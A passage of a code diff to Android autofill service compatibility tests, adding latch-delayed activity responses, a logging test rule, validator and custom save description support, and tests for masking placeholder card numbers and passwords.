+ /**
+ * Sets the value that's passed to {@link Activity#setResult(int, Intent)}, but only calls it
+ * after the {@code latch}'s countdown reaches {@code 0}.
+ */
+ public static void setResultCode(CountDownLatch latch, int resultCode) {
+ synchronized (sLock) {
+ sResponseLatch = latch;
+ sResultCode = resultCode;
+ }
+ }
+
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
+ mHandler = new Handler(Looper.getMainLooper(), (m) -> {
+ switch (m.what) {
+ case MSG_WAIT_FOR_LATCH:
+ waitForLatchAndDoIt();
+ break;
+ default:
+ throw new IllegalArgumentException("invalid message: " + m);
+ }
+ return true;
+ });
+
+ if (sResponseLatch != null) {
+ Log.d(TAG, "Delaying message until latch is counted down");
+ mHandler.dispatchMessage(mHandler.obtainMessage(MSG_WAIT_FOR_LATCH));
+ } else {
+ doIt();
+ }
+ }
+
+ private void waitForLatchAndDoIt() {
+ try {
+ final boolean called = sResponseLatch.await(5, TimeUnit.SECONDS);
+ if (!called) {
+ throw new IllegalStateException("latch not called in 5 seconds");
+ }
+ doIt();
+ } catch (InterruptedException e) {
+ Thread.interrupted();
+ throw new IllegalStateException("interrupted");
+ }
+ }
+
+ private void doIt() {
// We should get the assist structure...
final AssistStructure structure = getIntent().getParcelableExtra(
AutofillManager.EXTRA_ASSIST_STRUCTURE);
@@ -140,7 +198,12 @@
final Parcelable result;
if (response != null) {
- result = response.asFillResponse((id) -> Helper.findNodeByResourceId(structure, id));
+ if (response.getResponseType() == NULL) {
+ result = null;
+ } else {
+ result = response
+ .asFillResponse((id) -> Helper.findNodeByResourceId(structure, id));
+ }
} else if (dataset != null) {
result = dataset.asDataset((id) -> Helper.findNodeByResourceId(structure, id));
} else {
diff --git a/tests/autofillservice/src/android/autofillservice/cts/AutoFillServiceTestCase.java b/tests/autofillservice/src/android/autofillservice/cts/AutoFillServiceTestCase.java
index 1605517..13e483f 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/AutoFillServiceTestCase.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/AutoFillServiceTestCase.java
@@ -24,8 +24,6 @@
import static android.autofillservice.cts.InstrumentedAutoFillService.SERVICE_NAME;
import static android.provider.Settings.Secure.AUTOFILL_SERVICE;
-import static com.google.common.truth.Truth.assertWithMessage;
-
import android.autofillservice.cts.InstrumentedAutoFillService.Replier;
import android.content.Context;
import android.content.pm.PackageManager;
@@ -34,10 +32,13 @@
import android.util.Log;
import android.widget.RemoteViews;
+import com.android.cts.mockime.MockImeSessionRule;
+
import org.junit.After;
import org.junit.AfterClass;
import org.junit.Before;
import org.junit.BeforeClass;
+import org.junit.ClassRule;
import org.junit.Rule;
import org.junit.runner.RunWith;
@@ -47,22 +48,31 @@
* Base class for all other tests.
*/
@RunWith(AndroidJUnit4.class)
-abstract class AutoFillServiceTestCase {
+// Must be public because of MockImeSessionRule
+public abstract class AutoFillServiceTestCase {
private static final String TAG = "AutoFillServiceTestCase";
protected static UiBot sUiBot;
protected static final Replier sReplier = InstrumentedAutoFillService.getReplier();
+ @ClassRule
+ public static final MockImeSessionRule sMockImeSessionRule =
+ new MockImeSessionRule(/* ignoreInitException= */ true);
+
@Rule
public final RetryRule mRetryRule = new RetryRule(2);
@Rule
+ public final AutofillLoggingTestRule mLoggingRule = new AutofillLoggingTestRule(TAG);
+
+ @Rule
public final RequiredFeatureRule mRequiredFeatureRule =
new RequiredFeatureRule(PackageManager.FEATURE_AUTOFILL);
protected final Context mContext;
protected final String mPackageName;
+
/**
* Stores the previous logging level so it's restored after the test.
*/
@@ -74,10 +84,14 @@
}
@BeforeClass
- public static void removeLockScreen() {
+ public static void prepareScreen() {
if (!hasAutofillFeature()) return;
+ // Unlock screen.
runShellCommand("input keyevent KEYCODE_WAKEUP");
+
+ // Collapse notifications.
+ runShellCommand("cmd statusbar collapse");
}
@BeforeClass
@@ -129,7 +143,7 @@
// exceptions would mask the real cause. A better approach might be using a @Rule or some other
// visitor pattern.
@After
- public void assertNothingIsPending() throws Exception {
+ public void assertNothingIsPending() throws Throwable {
final MultipleExceptionsCatcher catcher = new MultipleExceptionsCatcher()
.run(() -> sReplier.assertNumberUnhandledFillRequests(0))
.run(() -> sReplier.assertNumberUnhandledSaveRequests(0));
@@ -169,24 +183,15 @@
/**
* Asserts that the {@link InstrumentedAutoFillService} is enabled for the default user.
*/
- protected static void assertServiceEnabled() {
- assertServiceStatus(true);
+ protected void assertServiceEnabled() {
+ Helper.assertAutofillServiceStatus(SERVICE_NAME, true);
}
/**
* Asserts that the {@link InstrumentedAutoFillService} is disabled for the default user.
*/
- protected static void assertServiceDisabled() {
- assertServiceStatus(false);
- }
-
- /**
- * Asserts that there is no session left in the service.
- */
- protected void assertNoDanglingSessions() {
- final String command = "cmd autofill list sessions";
- final String result = runShellCommand(command);
- assertWithMessage("Dangling sessions ('%s'): %s'", command, result).that(result).isEmpty();
+ protected void assertServiceDisabled() {
+ Helper.assertAutofillServiceStatus(SERVICE_NAME, false);
}
protected RemoteViews createPresentation(String message) {
@@ -195,16 +200,4 @@
presentation.setTextViewText(R.id.text1, message);
return presentation;
}
-
- private static boolean isServiceEnabled() {
- final String service = runShellCommand("settings get secure %s", AUTOFILL_SERVICE);
- return SERVICE_NAME.equals(service);
- }
-
- private static void assertServiceStatus(boolean enabled) {
- final String actual = runShellCommand("settings get secure %s", AUTOFILL_SERVICE);
- final String expected = enabled ? SERVICE_NAME : "null";
- assertWithMessage("Invalid value for secure setting %s", AUTOFILL_SERVICE)
- .that(actual).isEqualTo(expected);
- }
}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/AutofillActivityTestRule.java b/tests/autofillservice/src/android/autofillservice/cts/AutofillActivityTestRule.java
index 7cf3c64..88fd1e0 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/AutofillActivityTestRule.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/AutofillActivityTestRule.java
@@ -28,6 +28,10 @@
super(activityClass);
}
+ public AutofillActivityTestRule(Class<T> activityClass, boolean launchActivity) {
+ super(activityClass, false, launchActivity);
+ }
+
@Override
protected void beforeActivityLaunched() {
Helper.preTestCleanup();
diff --git a/tests/autofillservice/src/android/autofillservice/cts/AutofillLoggingTestRule.java b/tests/autofillservice/src/android/autofillservice/cts/AutofillLoggingTestRule.java
new file mode 100644
index 0000000..e0ff683
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/AutofillLoggingTestRule.java
@@ -0,0 +1,74 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts;
+
+import static android.autofillservice.cts.Helper.runShellCommand;
+
+import android.util.Log;
+
+import org.junit.AssumptionViolatedException;
+import org.junit.rules.TestRule;
+import org.junit.runner.Description;
+import org.junit.runners.model.Statement;
+/**
+ * Custom JUnit4 rule that improves autofill-related logging by:
+ *
+ * <ol>
+ * <li>Setting logging level to verbose before test start.
+ * <li>Call {@code dumpsys autofill} in case of failure.
+ * </ol>
+ */
+public class AutofillLoggingTestRule implements TestRule {
+
+ private final String mTag;
+
+ public AutofillLoggingTestRule(String tag) {
+ mTag = tag;
+ }
+
+ @Override
+ public Statement apply(Statement base, Description description) {
+ return new Statement() {
+
+ @Override
+ public void evaluate() throws Throwable {
+ final String levelBefore = runShellCommand("cmd autofill get log_level");
+ if (!levelBefore.equals("verbose")) {
+ runShellCommand("cmd autofill set log_level verbose");
+ }
+ try {
+ base.evaluate();
+ } catch (Throwable t) {
+ if ((t instanceof AssumptionViolatedException)) {
+ // This exception is used to indicate a test should be skipped and is
+ // ignored by JUnit runners - we don't need to dump it...
+ Log.w(mTag, "ignoring exception: " + t);
+ } else {
+ final String dump = runShellCommand("dumpsys autofill");
+ Log.e(mTag, "dump for " + description.getDisplayName() + ": \n" + dump, t);
+ }
+ throw t;
+ } finally {
+ if (!levelBefore.equals("verbose")) {
+ runShellCommand("cmd autofill set log_level %s", levelBefore);
+ }
+ }
+ }
+ };
+ }
+
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/AutofillValueTest.java b/tests/autofillservice/src/android/autofillservice/cts/AutofillValueTest.java
index ff18003..c319730 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/AutofillValueTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/AutofillValueTest.java
@@ -16,9 +16,6 @@
package android.autofillservice.cts;
-import static android.autofillservice.cts.Helper.FILL_TIMEOUT_MS;
-import static android.autofillservice.cts.Helper.eventually;
-
import static com.google.common.truth.Truth.assertThat;
import static org.testng.Assert.assertThrows;
@@ -422,7 +419,7 @@
.setField("editText", "filled")
.setPresentation(createPresentation("dataset"))
.build());
- MultipleTimesTimeListener timeWatcher = new MultipleTimesTimeListener("timePicker", 2,
+ MultipleTimesTimeListener timeWatcher = new MultipleTimesTimeListener("timePicker", 1,
mTimePicker, 12, 32);
mTimePicker.setOnTimeChangedListener(timeWatcher);
diff --git a/tests/autofillservice/src/android/autofillservice/cts/CannedFillResponse.java b/tests/autofillservice/src/android/autofillservice/cts/CannedFillResponse.java
index 07d4721..cf2cc6d 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/CannedFillResponse.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/CannedFillResponse.java
@@ -15,17 +15,20 @@
*/
package android.autofillservice.cts;
+import static android.autofillservice.cts.Helper.getAutofillIds;
+
import static com.google.common.truth.Truth.assertWithMessage;
-import static android.autofillservice.cts.Helper.getAutofillIds;
import android.app.assist.AssistStructure;
import android.app.assist.AssistStructure.ViewNode;
import android.content.IntentSender;
import android.os.Bundle;
+import android.service.autofill.CustomDescription;
import android.service.autofill.Dataset;
import android.service.autofill.FillCallback;
import android.service.autofill.FillResponse;
import android.service.autofill.SaveInfo;
+import android.service.autofill.Validator;
import android.view.autofill.AutofillId;
import android.view.autofill.AutofillValue;
import android.widget.RemoteViews;
@@ -58,9 +61,11 @@
private final List<CannedDataset> mDatasets;
private final String mFailureMessage;
private final int mSaveType;
+ private final Validator mValidator;
private final String[] mRequiredSavableIds;
private final String[] mOptionalSavableIds;
private final String mSaveDescription;
+ private final CustomDescription mCustomDescription;
private final Bundle mExtras;
private final RemoteViews mPresentation;
private final IntentSender mAuthentication;
@@ -74,9 +79,11 @@
mResponseType = builder.mResponseType;
mDatasets = builder.mDatasets;
mFailureMessage = builder.mFailureMessage;
+ mValidator = builder.mValidator;
mRequiredSavableIds = builder.mRequiredSavableIds;
mOptionalSavableIds = builder.mOptionalSavableIds;
mSaveDescription = builder.mSaveDescription;
+ mCustomDescription = builder.mCustomDescription;
mSaveType = builder.mSaveType;
mExtras = builder.mExtras;
mPresentation = builder.mPresentation;
@@ -124,11 +131,17 @@
}
}
if (mRequiredSavableIds != null) {
- final SaveInfo.Builder saveInfo = new SaveInfo.Builder(mSaveType,
- getAutofillIds(nodeResolver, mRequiredSavableIds));
+ final SaveInfo.Builder saveInfo =
+ mRequiredSavableIds == null || mRequiredSavableIds.length == 0
+ ? new SaveInfo.Builder(mSaveType)
+ : new SaveInfo.Builder(mSaveType,
+ getAutofillIds(nodeResolver, mRequiredSavableIds));
saveInfo.setFlags(mFlags);
+ if (mValidator != null) {
+ saveInfo.setValidator(mValidator);
+ }
if (mOptionalSavableIds != null) {
saveInfo.setOptionalIds(getAutofillIds(nodeResolver, mOptionalSavableIds));
}
@@ -136,6 +149,10 @@
saveInfo.setDescription(mSaveDescription);
}
saveInfo.setNegativeAction(mNegativeActionStyle, mNegativeActionListener);
+
+ if (mCustomDescription != null) {
+ saveInfo.setCustomDescription(mCustomDescription);
+ }
builder.setSaveInfo(saveInfo.build());
}
if (mIgnoredIds != null) {
@@ -159,6 +176,7 @@
+ ", flags=" + mFlags
+ ", failureMessage=" + mFailureMessage
+ ", saveDescription=" + mSaveDescription
+ + ", mCustomDescription=" + mCustomDescription
+ ", hasPresentation=" + (mPresentation != null)
+ ", hasAuthentication=" + (mAuthentication != null)
+ ", authenticationIds=" + Arrays.toString(mAuthenticationIds)
@@ -176,9 +194,11 @@
private final List<CannedDataset> mDatasets = new ArrayList<>();
private final ResponseType mResponseType;
private String mFailureMessage;
+ private Validator mValidator;
private String[] mRequiredSavableIds;
private String[] mOptionalSavableIds;
private String mSaveDescription;
+ public CustomDescription mCustomDescription;
public int mSaveType = -1;
private Bundle mExtras;
private RemoteViews mPresentation;
@@ -204,6 +224,14 @@
}
/**
+ * Sets the validator for this request
+ */
+ public Builder setValidator(Validator validator) {
+ mValidator = validator;
+ return this;
+ }
+
+ /**
* Sets the required savable ids based on they {@code resourceId}.
*/
public Builder setRequiredSavableIds(int type, String... ids) {
@@ -234,6 +262,14 @@
}
/**
+ * Sets the description passed to the {@link SaveInfo}.
+ */
+ public Builder setCustomDescription(CustomDescription description) {
+ mCustomDescription = description;
+ return this;
+ }
+
+ /**
* Sets the extra passed to {@link
* android.service.autofill.FillResponse.Builder#setClientState(Bundle)}.
*/
@@ -330,18 +366,18 @@
if (mFieldValues != null) {
for (Map.Entry<String, AutofillValue> entry : mFieldValues.entrySet()) {
- final String resourceId = entry.getKey();
- final ViewNode node = nodeResolver.apply(resourceId);
+ final String id = entry.getKey();
+ final ViewNode node = nodeResolver.apply(id);
if (node == null) {
- throw new AssertionError("No node with resource id " + resourceId);
+ throw new AssertionError("No node with resource id " + id);
}
- final AutofillId id = node.getAutofillId();
+ final AutofillId autofillid = node.getAutofillId();
final AutofillValue value = entry.getValue();
- final RemoteViews presentation = mFieldPresentations.get(resourceId);
+ final RemoteViews presentation = mFieldPresentations.get(id);
if (presentation != null) {
- builder.setValue(id, value, presentation);
+ builder.setValue(autofillid, value, presentation);
} else {
- builder.setValue(id, value);
+ builder.setValue(autofillid, value);
}
}
}
@@ -354,7 +390,7 @@
return "CannedDataset " + mId + " : [hasPresentation=" + (mPresentation != null)
+ ", fieldPresentations=" + (mFieldPresentations)
+ ", hasAuthentication=" + (mAuthentication != null)
- + ", fieldValuess=" + mFieldValues + "]";
+ + ", fieldValues=" + mFieldValues + "]";
}
static class Builder {
@@ -373,47 +409,71 @@
}
/**
- * Sets the canned value of a text field based on its {@code resourceId}.
+ * Sets the canned value of a text field based on its {@code id}.
+ *
+ * <p>The meaning of the id is defined by the object using the canned dataset.
+ * For example, {@link InstrumentedAutoFillService.Replier} resolves the id based on
+ * {@link IdMode}.
*/
- public Builder setField(String resourceId, String text) {
- return setField(resourceId, AutofillValue.forText(text));
+ public Builder setField(String id, String text) {
+ return setField(id, AutofillValue.forText(text));
}
/**
- * Sets the canned value of a list field based on its {@code resourceId}.
+ * Sets the canned value of a list field based on its its {@code id}.
+ *
+ * <p>The meaning of the id is defined by the object using the canned dataset.
+ * For example, {@link InstrumentedAutoFillService.Replier} resolves the id based on
+ * {@link IdMode}.
*/
- public Builder setField(String resourceId, int index) {
- return setField(resourceId, AutofillValue.forList(index));
+ public Builder setField(String id, int index) {
+ return setField(id, AutofillValue.forList(index));
}
/**
- * Sets the canned value of a toggle field based on its {@code resourceId}.
+ * Sets the canned value of a toggle field based on its {@code id}.
+ *
+ * <p>The meaning of the id is defined by the object using the canned dataset.
+ * For example, {@link InstrumentedAutoFillService.Replier} resolves the id based on
+ * {@link IdMode}.
*/
- public Builder setField(String resourceId, boolean toggled) {
- return setField(resourceId, AutofillValue.forToggle(toggled));
+ public Builder setField(String id, boolean toggled) {
+ return setField(id, AutofillValue.forToggle(toggled));
}
/**
- * Sets the canned value of a date field based on its {@code resourceId}.
+ * Sets the canned value of a date field based on its {@code id}.
+ *
+ * <p>The meaning of the id is defined by the object using the canned dataset.
+ * For example, {@link InstrumentedAutoFillService.Replier} resolves the id based on
+ * {@link IdMode}.
*/
- public Builder setField(String resourceId, long date) {
- return setField(resourceId, AutofillValue.forDate(date));
+ public Builder setField(String id, long date) {
+ return setField(id, AutofillValue.forDate(date));
}
/**
- * Sets the canned value of a date field based on its {@code resourceId}.
+ * Sets the canned value of a date field based on its {@code id}.
+ *
+ * <p>The meaning of the id is defined by the object using the canned dataset.
+ * For example, {@link InstrumentedAutoFillService.Replier} resolves the id based on
+ * {@link IdMode}.
*/
- public Builder setField(String resourceId, AutofillValue value) {
- mFieldValues.put(resourceId, value);
+ public Builder setField(String id, AutofillValue value) {
+ mFieldValues.put(id, value);
return this;
}
/**
- * Sets the canned value of a field based on its {@code resourceId}.
+ * Sets the canned value of a field based on its {@code id}.
+ *
+ * <p>The meaning of the id is defined by the object using the canned dataset.
+ * For example, {@link InstrumentedAutoFillService.Replier} resolves the id based on
+ * {@link IdMode}.
*/
- public Builder setField(String resourceId, String text, RemoteViews presentation) {
- setField(resourceId, text);
- mFieldPresentations.put(resourceId, presentation);
+ public Builder setField(String id, String text, RemoteViews presentation) {
+ setField(id, text);
+ mFieldPresentations.put(id, presentation);
return this;
}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/CharSequenceTransformationTest.java b/tests/autofillservice/src/android/autofillservice/cts/CharSequenceTransformationTest.java
new file mode 100644
index 0000000..e68483b
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/CharSequenceTransformationTest.java
@@ -0,0 +1,236 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts;
+
+import static org.mockito.ArgumentMatchers.any;
+import static org.mockito.ArgumentMatchers.argThat;
+import static org.mockito.ArgumentMatchers.eq;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.never;
+import static org.mockito.Mockito.verify;
+import static org.mockito.Mockito.when;
+import static org.testng.Assert.assertThrows;
+
+import android.service.autofill.CharSequenceTransformation;
+import android.service.autofill.ValueFinder;
+import android.support.test.runner.AndroidJUnit4;
+import android.view.autofill.AutofillId;
+import android.widget.RemoteViews;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.mockito.ArgumentMatcher;
+
+import java.util.regex.Pattern;
+
+@RunWith(AndroidJUnit4.class)
+public class CharSequenceTransformationTest {
+
+ @Test
+ public void testAllNullBuilder() {
+ assertThrows(NullPointerException.class,
+ () -> new CharSequenceTransformation.Builder(null, null, null));
+ }
+
+ @Test
+ public void testNullAutofillIdBuilder() {
+ assertThrows(NullPointerException.class,
+ () -> new CharSequenceTransformation.Builder(null, Pattern.compile(""), ""));
+ }
+
+ @Test
+ public void testNullRegexBuilder() {
+ assertThrows(NullPointerException.class,
+ () -> new CharSequenceTransformation.Builder(new AutofillId(1), null, ""));
+ }
+
+ @Test
+ public void testNullSubstBuilder() {
+ assertThrows(NullPointerException.class,
+ () -> new CharSequenceTransformation.Builder(new AutofillId(1), Pattern.compile(""),
+ null));
+ }
+
+ @Test
+ public void testBadSubst() {
+ AutofillId id1 = new AutofillId(1);
+ AutofillId id2 = new AutofillId(2);
+ AutofillId id3 = new AutofillId(3);
+ AutofillId id4 = new AutofillId(4);
+
+ CharSequenceTransformation.Builder b = new CharSequenceTransformation.Builder(id1,
+ Pattern.compile("(.)"), "1=$1");
+
+ // bad subst: The regex has no capture groups
+ b.addField(id2, Pattern.compile("."), "2=$1");
+
+ // bad subst: The regex does not have enough capture groups
+ b.addField(id3, Pattern.compile("(.)"), "3=$2");
+
+ b.addField(id4, Pattern.compile("(.)"), "4=$1");
+
+ CharSequenceTransformation trans = b.build();
+
+ ValueFinder finder = mock(ValueFinder.class);
+ RemoteViews template = mock(RemoteViews.class);
+
+ when(finder.findByAutofillId(id1)).thenReturn("a");
+ when(finder.findByAutofillId(id2)).thenReturn("b");
+ when(finder.findByAutofillId(id3)).thenReturn("c");
+ when(finder.findByAutofillId(id4)).thenReturn("d");
+
+ assertThrows(ArrayIndexOutOfBoundsException.class, () -> trans.apply(finder, template, 0));
+
+ // fail one, fail all
+ verify(template, never()).setCharSequence(eq(0), any(), any());
+ }
+
+ @Test
+ public void testUnknownField() throws Exception {
+ AutofillId id1 = new AutofillId(1);
+ AutofillId id2 = new AutofillId(2);
+ AutofillId unknownId = new AutofillId(42);
+
+ CharSequenceTransformation.Builder b = new CharSequenceTransformation.Builder(id1,
+ Pattern.compile(".*"), "1");
+
+ // bad subst: The field will not be found
+ b.addField(unknownId, Pattern.compile(".*"), "unknown");
+
+ b.addField(id2, Pattern.compile(".*"), "2");
+
+ CharSequenceTransformation trans = b.build();
+
+ ValueFinder finder = mock(ValueFinder.class);
+ RemoteViews template = mock(RemoteViews.class);
+
+ when(finder.findByAutofillId(id1)).thenReturn("1");
+ when(finder.findByAutofillId(id2)).thenReturn("2");
+ when(finder.findByAutofillId(unknownId)).thenReturn(null);
+
+ trans.apply(finder, template, 0);
+
+ // if a view cannot be found, nothing is not, not even partial results
+ verify(template, never()).setCharSequence(eq(0), any(), any());
+ }
+
+ @Test
+ public void testCreditCardObfuscator() throws Exception {
+ AutofillId creditCardFieldId = new AutofillId(1);
+ CharSequenceTransformation trans = new CharSequenceTransformation
+ .Builder(creditCardFieldId,
+ Pattern.compile("^\\s*\\d{4}[\\s-]?\\d{4}[\\s-]?\\d{4}[\\s-]?(\\d{4})\\s*$"),
+ "...$1")
+ .build();
+
+ ValueFinder finder = mock(ValueFinder.class);
+ RemoteViews template = mock(RemoteViews.class);
+
+ when(finder.findByAutofillId(creditCardFieldId)).thenReturn("1234 5678 9012 3456");
+
+ trans.apply(finder, template, 0);
+
+ verify(template).setCharSequence(eq(0), any(), argThat(new CharSequenceMatcher("...3456")));
+ }
+
+ @Test
+ public void testReplaceAllByOne() throws Exception {
+ AutofillId id = new AutofillId(1);
+ CharSequenceTransformation trans = new CharSequenceTransformation
+ .Builder(id, Pattern.compile("."), "*")
+ .build();
+
+ ValueFinder finder = mock(ValueFinder.class);
+ RemoteViews template = mock(RemoteViews.class);
+
+ when(finder.findByAutofillId(id)).thenReturn("four");
+
+ trans.apply(finder, template, 0);
+
+ verify(template).setCharSequence(eq(0), any(), argThat(new CharSequenceMatcher("****")));
+ }
+
+ @Test
+ public void testPartialMatchIsIgnored() throws Exception {
+ AutofillId id = new AutofillId(1);
+ CharSequenceTransformation trans = new CharSequenceTransformation
+ .Builder(id, Pattern.compile("^MATCH$"), "*")
+ .build();
+
+ ValueFinder finder = mock(ValueFinder.class);
+ RemoteViews template = mock(RemoteViews.class);
+
+ when(finder.findByAutofillId(id)).thenReturn("preMATCHpost");
+
+ trans.apply(finder, template, 0);
+
+ verify(template, never()).setCharSequence(eq(0), any(), any());
+ }
+
+ @Test
+ public void userNameObfuscator() throws Exception {
+ AutofillId userNameFieldId = new AutofillId(1);
+ AutofillId passwordFieldId = new AutofillId(2);
+ CharSequenceTransformation trans = new CharSequenceTransformation
+ .Builder(userNameFieldId, Pattern.compile("(.*)"), "$1")
+ .addField(passwordFieldId, Pattern.compile(".*(..)$"), "/..$1")
+ .build();
+
+ ValueFinder finder = mock(ValueFinder.class);
+ RemoteViews template = mock(RemoteViews.class);
+
+ when(finder.findByAutofillId(userNameFieldId)).thenReturn("myUserName");
+ when(finder.findByAutofillId(passwordFieldId)).thenReturn("myPassword");
+
+ trans.apply(finder, template, 0);
+
+ verify(template).setCharSequence(eq(0), any(),
+ argThat(new CharSequenceMatcher("myUserName/..rd")));
+ }
+
+ @Test
+ public void testMismatch() throws Exception {
+ AutofillId id1 = new AutofillId(1);
+ CharSequenceTransformation.Builder b = new CharSequenceTransformation.Builder(id1,
+ Pattern.compile("Who are you?"), "1");
+
+ CharSequenceTransformation trans = b.build();
+
+ ValueFinder finder = mock(ValueFinder.class);
+ RemoteViews template = mock(RemoteViews.class);
+
+ when(finder.findByAutofillId(id1)).thenReturn("I'm Batman!");
+
+ trans.apply(finder, template, 0);
+
+ // If the match fails, the view should not change.
+ verify(template, never()).setCharSequence(eq(0), any(), any());
+ }
+
+ static class CharSequenceMatcher implements ArgumentMatcher<CharSequence> {
+ private final CharSequence mExpected;
+
+ public CharSequenceMatcher(CharSequence expected) {
+ mExpected = expected;
+ }
+
+ @Override
+ public boolean matches(CharSequence actual) {
+ return actual.toString().equals(mExpected.toString());
+ }
+ }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/CheckoutActivity.java b/tests/autofillservice/src/android/autofillservice/cts/CheckoutActivity.java
index 0b8d938..84be355 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/CheckoutActivity.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/CheckoutActivity.java
@@ -74,19 +74,25 @@
private FillExpectation mExpectation;
private CountDownLatch mBuyLatch;
+ private static CheckoutActivity sInstance;
+
+ public CheckoutActivity() {
+ sInstance = this;
+ }
+
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(getContentView());
- mCcNumber = (EditText) findViewById(R.id.cc_number);
- mCcExpiration = (Spinner) findViewById(R.id.cc_expiration);
- mAddress = (RadioGroup) findViewById(R.id.address);
- mHomeAddress = (RadioButton ) findViewById(R.id.home_address);
- mSaveCc = (CheckBox) findViewById(R.id.save_cc);
- mBuyButton = (Button) findViewById(R.id.buy);
- mClearButton = (Button) findViewById(R.id.clear);
+ mCcNumber = findViewById(R.id.cc_number);
+ mCcExpiration = findViewById(R.id.cc_expiration);
+ mAddress = findViewById(R.id.address);
+ mHomeAddress = findViewById(R.id.home_address);
+ mSaveCc = findViewById(R.id.save_cc);
+ mBuyButton = findViewById(R.id.buy);
+ mClearButton = findViewById(R.id.clear);
mCcExpirationAdapter = createFromResource(this,
R.array.cc_expiration_values, android.R.layout.simple_spinner_item);
@@ -98,6 +104,12 @@
mClearButton.setOnClickListener((v) -> resetFields());
}
+ static void finishIt() {
+ if (sInstance != null) {
+ sInstance.finish();
+ }
+ }
+
protected int getContentView() {
return R.layout.checkout_activity;
}
@@ -203,6 +215,18 @@
.that(called).isTrue();
}
+ EditText getCcNumber() {
+ return mCcNumber;
+ }
+
+ Spinner getCcExpiration() {
+ return mCcExpiration;
+ }
+
+ ArrayAdapter<CharSequence> getCcExpirationAdapter() {
+ return mCcExpirationAdapter;
+ }
+
/**
* Holder for the expected auto-fill values.
*/
diff --git a/tests/autofillservice/src/android/autofillservice/cts/CheckoutActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/CheckoutActivityTest.java
index 6ba5431..59b0b7c 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/CheckoutActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/CheckoutActivityTest.java
@@ -42,7 +42,12 @@
import android.autofillservice.cts.CannedFillResponse.CannedDataset;
import android.autofillservice.cts.InstrumentedAutoFillService.FillRequest;
import android.autofillservice.cts.InstrumentedAutoFillService.SaveRequest;
+import android.service.autofill.CharSequenceTransformation;
+import android.service.autofill.CustomDescription;
+import android.support.test.uiautomator.By;
+import android.support.test.uiautomator.UiObject2;
import android.widget.ArrayAdapter;
+import android.widget.RemoteViews;
import android.widget.Spinner;
import org.junit.After;
@@ -51,6 +56,7 @@
import org.junit.Test;
import java.util.Arrays;
+import java.util.regex.Pattern;
/**
* Test case for an activity containing non-TextField views.
@@ -101,7 +107,7 @@
final CharSequence[] options = ccExpirationNode.getAutofillOptions();
assertWithMessage("ccExpirationNode.getAutoFillOptions()").that(options).isNotNull();
assertWithMessage("Wrong auto-fill options for spinner").that(options).asList()
- .containsExactly(
+ .containsExactly((Object [])
getContext().getResources().getStringArray(R.array.cc_expiration_values))
.inOrder();
@@ -242,4 +248,114 @@
assertToggleValue(findNodeByResourceId(saveRequest.structure, ID_WORK_ADDRESS), true);
assertToggleValue(findNodeByResourceId(saveRequest.structure, ID_SAVE_CC), false);
}
+
+ /**
+ * Tests that a spinner can be used on custom save descriptions.
+ */
+ @Test
+ public void testCustomizedSaveUi() throws Exception {
+ // Set service.
+ enableService();
+
+ // Set expectations.
+ final String packageName = getContext().getPackageName();
+
+ final RemoteViews presentation = new RemoteViews(packageName,
+ R.layout.two_horizontal_text_fields);
+ final CharSequenceTransformation trans1 = new CharSequenceTransformation
+ .Builder(mActivity.getCcNumber().getAutofillId(), Pattern.compile("(.*)"), "$1")
+ .build();
+ final CharSequenceTransformation trans2 = new CharSequenceTransformation
+ .Builder(mActivity.getCcExpiration().getAutofillId(), Pattern.compile("(.*)"), "$1")
+ .build();
+ final CustomDescription customDescription = new CustomDescription.Builder(presentation)
+ .addChild(R.id.first, trans1)
+ .addChild(R.id.second, trans2)
+ .build();
+
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .setRequiredSavableIds(SAVE_DATA_TYPE_CREDIT_CARD, ID_CC_NUMBER, ID_CC_EXPIRATION)
+ .setCustomDescription(customDescription)
+ .build());
+
+ // Dynamically change view contents
+ mActivity.onCcExpiration((v) -> v.setSelection(INDEX_CC_EXPIRATION_TOMORROW, true));
+
+ // Trigger auto-fill.
+ mActivity.onCcNumber((v) -> v.requestFocus());
+ sReplier.getNextFillRequest();
+
+ // Trigger save.
+ mActivity.onCcNumber((v) -> v.setText("4815162342"));
